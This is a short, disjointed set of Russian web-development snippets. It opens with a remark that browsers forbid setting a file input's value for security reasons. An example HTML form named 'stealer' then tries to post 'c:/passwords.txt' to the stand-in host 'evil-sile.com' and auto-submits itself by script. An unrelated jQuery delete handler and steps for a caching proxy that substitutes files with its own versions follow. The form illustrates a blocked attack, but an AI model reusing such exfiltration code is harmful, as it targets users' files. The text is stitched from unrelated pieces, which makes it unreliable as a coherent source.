<input type="file">
установить свое value, то у вас ничего не выйдет - это недоступно по соображениям безопасности.<form id="stealer" action="http://evil-sile.com" method="post" enctype="multipart/form-data">
<input type="file" value="c:/passwords.txt">
</form>
<script>stealer.submit()</script>
$('ul').on('click', '.delete', function(){
$(this).closest('li').remove()
})
Проверяем есть ли файл в кеше
Если нет - скачиваем и кешируем
Проверяем, не нужно ли его подменить (отдельно есть список файлов, которые нужно подменять на свои версии)
Отдаем файл.